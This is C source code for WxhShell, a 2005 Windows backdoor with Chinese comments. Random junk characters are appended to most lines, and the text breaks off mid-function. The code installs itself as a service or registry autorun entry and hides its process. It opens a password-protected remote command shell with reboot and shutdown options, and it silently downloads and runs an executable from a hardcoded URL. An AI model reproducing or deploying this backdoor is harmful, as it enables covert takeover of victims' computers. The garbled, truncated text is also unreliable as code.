ULONG UniqueProcessId; 2SR: FUV/
ULONG InheritedFromUniqueProcessId; 9490o:s
} PROCESS_BASIC_INFORMATION; )TM4R)r%)9
i8HTzv"J
PROCNTQSIP NtQueryInformationProcess; 8Kk(8a&v
DrK{}uM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8BNi1Qn$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I ?.^ho
}|5Pr(I
HANDLE hProcess; Fh9h,'
V"
PROCESS_BASIC_INFORMATION pbi; 4#hSJ(~7S
gt w Q-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )B8$<sv
if(NULL == hInst ) return 0; r^ ZEImjc
lBGQEP3;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .y:U&Rw4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \mlqO[ S
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0h7r&t%YsV
,L'zRyP
if (!NtQueryInformationProcess) return 0; YQA,f#
5bpEYW+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R<N
]B
if(!hProcess) return 0; |*tp16+6
k~
/Nv=D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (Px OE
Vj>8a)"B5a
CloseHandle(hProcess); sZF6h=67D
gEE\y{y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qv/=&_6
if(hProcess==NULL) return 0; *<ewS8f*6
*$ %a:q1U
HMODULE hMod; UByv?KZi
char procName[255]; cDH^\-z
unsigned long cbNeeded; u!qP
h>OfOx/{q9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 85xR2 <:
f^XOUh
CloseHandle(hProcess); {%6`!WW[
#|PS&}6wU
if(strstr(procName,"services")) return 1; // 以服务启动 Z!X0U7&U
KRDmY+
return 0; // 注册表启动 m$T-s|SY
} vTw>JNVI
GYUn6P
// 主模块 p,i[W.dy.'
int StartWxhshell(LPSTR lpCmdLine) jPW#(3hoE
{ d)f :)Ew
SOCKET wsl; [RTs[3E^
BOOL val=TRUE; @@%.t|=
int port=0; QWHug:c
struct sockaddr_in door; 3"KCh\\b
>[=^_8M
if(wscfg.ws_autoins) Install(); 9j:"J` '
C#Iybg
port=atoi(lpCmdLine); )gy!GK
:'*~uJrR
if(port<=0) port=wscfg.ws_port; 3y8G?LL/[7
9\JF`ff_
WSADATA data; r#]WI|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $,Yd>%Y
`XEr(e9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pgZXJ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Whf.fK
door.sin_family = AF_INET; _X"N1,0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?o#%Xs
door.sin_port = htons(port); ?zHPJLv|Y
L<{i,'M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ThbGQ"/
closesocket(wsl); zi*R`;_`,
return 1; =]Jd9]vi
} _Qi&J.U>
*>qp:;,DKP
if(listen(wsl,2) == INVALID_SOCKET) { H@8sNV/u
closesocket(wsl); gn".u!9j
return 1; m<"WDU?y;
} HYSIN^<oy
Wxhshell(wsl); Y,t={HiclX
WSACleanup(); ,0HRAmG
F,)%?<!I
return 0; 0$fpIz
hJ~Uf5Q
} *U=s\
pYZ6e_j1~
// 以NT服务方式启动 'o>B'$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -"60d
@.
{ H6 HVu |
DWORD status = 0; 0o*8#i/)!3
DWORD specificError = 0xfffffff; 6- B|Y3)B
):_\;.L
serviceStatus.dwServiceType = SERVICE_WIN32; _1 !OlQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HLaRGN3,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e@*
EzvO
serviceStatus.dwWin32ExitCode = 0; ?\s+EE&-
serviceStatus.dwServiceSpecificExitCode = 0; /9pwZ%:<
serviceStatus.dwCheckPoint = 0; !fR3(=oN
serviceStatus.dwWaitHint = 0; +8d1|cB"
M>ruKHipFE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @8rx`9
if (hServiceStatusHandle==0) return; x!58cS*
Y+u_IJ
status = GetLastError(); } .y
1;.
if (status!=NO_ERROR) .I0qG g
{ Jk=I^%~
serviceStatus.dwCurrentState = SERVICE_STOPPED; <oA7'|Bu<
serviceStatus.dwCheckPoint = 0;
^J)mH[
serviceStatus.dwWaitHint = 0; !"/n/jz
serviceStatus.dwWin32ExitCode = status; >!bJslWA
serviceStatus.dwServiceSpecificExitCode = specificError; FOy|F-j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8=uu8-l8g
return; x$Oq0d{T
} n!xt5=xP{
/Uy"M:|V1
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9}F*P669f
serviceStatus.dwCheckPoint = 0; e:n<EnT
serviceStatus.dwWaitHint = 0; LKOwxF#TKT
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P0j8- I
} p(`6hWx
~T,c"t2
// 处理NT服务事件,比如:启动、停止 }"PU%+J
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8sTp`}54J
{ 9V@V6TvW>&
switch(fdwControl) K<Iv:5-2
{ 4\u1TYR
case SERVICE_CONTROL_STOP: "x*egI
serviceStatus.dwWin32ExitCode = 0; PV\+P6aIb
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^^as'Dk
serviceStatus.dwCheckPoint = 0; }Nm#q@o$P
serviceStatus.dwWaitHint = 0; jiS_G%G
{ fc-iAj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]J$eDbaEjT
} @l jA
return; _ff`y
case SERVICE_CONTROL_PAUSE: nR}sNl1
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5l 2 ?
break; IIF]/Ek]
case SERVICE_CONTROL_CONTINUE: se>8 Z4
serviceStatus.dwCurrentState = SERVICE_RUNNING; O%!!w
break; a>]uU*Xm
case SERVICE_CONTROL_INTERROGATE: vMt/u?oB
break; [~#WG/!:
}; _R13f@NWB:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fS [,vPl
} kG@@ot" n
*|>d
// 标准应用程序主函数 dDGgvi|[Mz
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EwC{R`
{ 33ef/MElD$
6dN7_v)
// 获取操作系统版本 T| V:$D'
OsIsNt=GetOsVer(); IsM}'.
GetModuleFileName(NULL,ExeFile,MAX_PATH); XJ` ]ga
Z/0fXn})
// 从命令行安装
(SDr!!V<
if(strpbrk(lpCmdLine,"iI")) Install(); uU <=d
_c*=4y
// 下载执行文件 s{S4J'VW
if(wscfg.ws_downexe) { M&@b><B
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &d+Kg0 :
WinExec(wscfg.ws_filenam,SW_HIDE); 0y;*Cfi9
} ;q:zT\A
$M lW4&a|
if(!OsIsNt) { Ax?y
// 如果时win9x,隐藏进程并且设置为注册表启动 O%(fx!c`
HideProc(); kabnVVn~
StartWxhshell(lpCmdLine); uK$9Ll{lk
} q[`]D7W
"
else 6[LM_eP
if(StartFromService()) vCxD~+zf
// 以服务方式启动 Jz.NHiLct1
StartServiceCtrlDispatcher(DispatchTable); v~V5`%
else -pa )K"z
// 普通方式启动 t2"O
StartWxhshell(lpCmdLine); q<[_T
wF,UE_
return 0; K[Kh&`T
} Fzpfoz<N
u7\J\r4,+
^ZhG>L*
5b/|!{
=========================================== SHbtWq}T
OjF_ %5
Q6AC(n@:FV
8XzR
wYV
L
ugn3+
Rhz_t@e
" W?aI|U1
RGg(%.
#include <stdio.h> ?^$MRa:D
#include <string.h> &nkW1Ner9
#include <windows.h> OCJnjlV%
#include <winsock2.h> O<"}|nbmQ[
#include <winsvc.h> 7,|c
#include <urlmon.h> OQT;zqup
Fpa;^F
#pragma comment (lib, "Ws2_32.lib") jm0- y%
#pragma comment (lib, "urlmon.lib") P%=#^T&`}
'0uhD.|G
#define MAX_USER 100 // 最大客户端连接数 ZF|+W?0&%
#define BUF_SOCK 200 // sock buffer >`wV1^M6?
#define KEY_BUFF 255 // 输入 buffer [}8|R0KF
2?,EzBeal
#define REBOOT 0 // 重启 "D'B3; uWK
#define SHUTDOWN 1 // 关机 I8/DR z$A
n;U`m$vL%
#define DEF_PORT 5000 // 监听端口 @,u/w4
h0-hT
#define REG_LEN 16 // 注册表键长度 /D^"X
4!"
#define SVC_LEN 80 // NT服务名长度 Z@&Dki
Ucm :S-
// 从dll定义API
Nwt" \3
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bj}^\Pc;}
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {>,V\J0p
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +
33@?fl.
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Gj8F4{
'|*?*6q
// wxhshell配置信息 Yd= a}T
struct WSCFG { 9^Whg~{
int ws_port; // 监听端口 >teOm?@U
char ws_passstr[REG_LEN]; // 口令 \ZhfgE8{%
int ws_autoins; // 安装标记, 1=yes 0=no ~r$jza~o(
char ws_regname[REG_LEN]; // 注册表键名 ]Xf% ,iu
char ws_svcname[REG_LEN]; // 服务名 @`Eg(
char ws_svcdisp[SVC_LEN]; // 服务显示名 IWveW8qJ
char ws_svcdesc[SVC_LEN]; // 服务描述信息 E3l> 3
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _~tEw.fM5
int ws_downexe; // 下载执行标记, 1=yes 0=no 0=q;@OIf
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *U$!I?
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2aB^WY'tC
S.Ma$KL~'^
}; OY5OJ*
Wg0g/
// default Wxhshell configuration Ns0cgCrhX
struct WSCFG wscfg={DEF_PORT, vRxM4O~"
"xuhuanlingzhe", (_*5oj-
1, X*Dj[TD]
"Wxhshell", W4U@%b do
"Wxhshell", UybW26C;aU
"WxhShell Service", _uKZ Ml
"Wrsky Windows CmdShell Service", dT$M y`>
"Please Input Your Password: ", f1)x5N
1, kbfC|5S
"http://www.wrsky.com/wxhshell.exe", *^wB!{.#
"Wxhshell.exe" {^rs#, W
}; k`9)=&zX+
`S.ZS}~!F
// 消息定义模块 )0e2ic/
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d]i(h~?_
char *msg_ws_prompt="\n\r? for help\n\r#>"; RUUk
f({(
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :%AL\n
char *msg_ws_ext="\n\rExit."; ;Y mTw
char *msg_ws_end="\n\rQuit."; "zY](P
char *msg_ws_boot="\n\rReboot..."; G0{H5_h
char *msg_ws_poff="\n\rShutdown..."; b}wC|\s
char *msg_ws_down="\n\rSave to "; k({\/t3i
c.f"Gv
char *msg_ws_err="\n\rErr!"; {
"xln/
char *msg_ws_ok="\n\rOK!"; :nS;W
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.{$
char ExeFile[MAX_PATH]; A'K%WW*'U
int nUser = 0; Gqcz<=/
HANDLE handles[MAX_USER]; L9ap(
int OsIsNt; zT|)uP*
9cx =@
SERVICE_STATUS serviceStatus; >'5_Y]h4m|
SERVICE_STATUS_HANDLE hServiceStatusHandle; |*X*n*oI
K+)%KP
// 函数声明 zYv#:>C8
int Install(void); |Uk"
{
int Uninstall(void); q;D+ai
int DownloadFile(char *sURL, SOCKET wsh); F@!Td(r2
int Boot(int flag); qG/fE'(j&
void HideProc(void); pdb1GDl0q
int GetOsVer(void); CGP3qHrXt
int Wxhshell(SOCKET wsl); Bo+DJizu
void TalkWithClient(void *cs); _l],
"[d
int CmdShell(SOCKET sock); a=$t &7;,
int StartFromService(void); C"qU-&*v
int StartWxhshell(LPSTR lpCmdLine); H:JLAK
W85@v2b
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dbaf0
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ow;R$5G
*P!e:Tm)
// 数据结构和表定义 3!o4)yJWx
SERVICE_TABLE_ENTRY DispatchTable[] = $RwB_F
{ oi&Wo'DX
{wscfg.ws_svcname, NTServiceMain}, &Q=ZwC7#
{NULL, NULL} omf Rs
}; cZ+7.oDu
yag}fQ(XH
// 自我安装 GOB(#vu
int Install(void) 4Kv[e]10(
{ \mN[gT}LHm
char svExeFile[MAX_PATH]; y3;q_4.
HKEY key; 5Wj;
[2
)
strcpy(svExeFile,ExeFile); %T=A{<[`
zT* .jv
// 如果是win9x系统,修改注册表设为自启动 +wk`;0s A
if(!OsIsNt) { N_Af3R1_
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^, i>'T
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b2&